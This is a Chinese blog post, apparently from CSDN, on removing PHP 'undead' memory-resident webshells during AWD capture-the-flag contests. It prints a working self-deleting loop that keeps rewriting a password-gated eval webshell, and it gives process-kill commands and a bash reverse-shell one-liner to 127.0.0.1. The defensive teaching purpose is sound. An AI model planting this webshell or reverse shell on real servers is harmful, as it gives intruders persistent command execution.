不死马php如何取证_干掉 PHP 不死马

本文探讨了PHP不死马的定义、行为特征,并区分了两种类型。在AWD模式下,不死马的存在可能导致资源占用或后门留存。介绍了php-apache和php-fpm两种运行模式下的处理不死马的方法,包括通过PHP脚本杀掉相关进程,以及利用shell进行更灵活的控制。
摘要由CSDN通过智能技术生成

2ff34e647e2e3cdfd8dca593e17d9b0a.png

在 AWD 模式下经常碰到不死马, 不干掉的话就会一直被偷 flag, 很难受. 所以研究一下怎么干掉.

什么是不死马

先说一下什么是不死马, 比如这种1

2

3

4

5

6

7

8

9

10set_time_limit(0);

ignore_user_abort(1);

unlink(__FILE__);

while (1) {

$content = "<?php error_reporting(0);if(sha1($_POST['pwd'])==='%pwd%'){eval($_POST['cmd']);}?>";

file_put_contents(".shell.php", $content);

usleep(10000);

}

?>

简单来说有以下特性:访问后删除自己

即使断开连接也不会停止

驻留在内存中定时做某些事情, 比如上面这种就是不停的写 webshell

根据行为也可以将不死马分为两种, 一种是 while(1) 不 sleep, 占用服务器资源, 卡机子, 还有一种是 sleep, 悄悄的留后门

如果不懂怎么干掉的话, 唯一的办法就是重启环境了, 而这在 AWD 中一般都是会倒扣不少分的…

接下来了解一下 php 主流的两种运行模式 php-fpm 与 php-apache 这两种,

php-fpm 适用于 nginx 和 apache 而 php-apache 自然是只能 apache 使用,

其中 fpm 的性能更好, 但是配置较为复杂(其实也不是很复杂 233), 在 AWD 我只遇见过 php-apache 这种 0.0

但是其实要干掉不死马, 步骤都差不多

干掉不死马

php-apache

在这种模式下, 会在 fork 的一个 apache 进程里面以低权限用户来处理 php, 如下图

b5d4494ea887642b62c7042ca75878c2.png

我们只要杀掉所以这些进程就行, 但在 AWD 中一般是没 root 权限的, 我们要干掉这些只能以低权限的身份来. 这里有两种办法给自己在 web 目录下写一个 php, 里面是1

2system("kill `ps -ef | grep httpd | grep -v grep | awk '{print $2}'`");

如果觉得碰到不死马了就直接访问, 杀掉所有 httpd 进程, 因为权限不够, root 的不会被杀掉, 这个守护进程会自动再 fork 进程, 不用担心服务挂写个 php 给自己弹个 shell, 在 shell 里面 killall, 这个更方便一点, 也更灵活1

2system("bash -i >& /dev/tcp/127.0.0.1/23333 0>&1");

php-fpm

其实跟上面差不多, 只是进程名不同, 因为 fpm 是独立的服务, 不同于上面 apache 里面直接调用 php 的 api

e96755f1ec2b1c5499358252f76af890.png1

2system("kill `ps -ef | grep php-fpm | grep -v grep | awk '{print $2}'`");

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值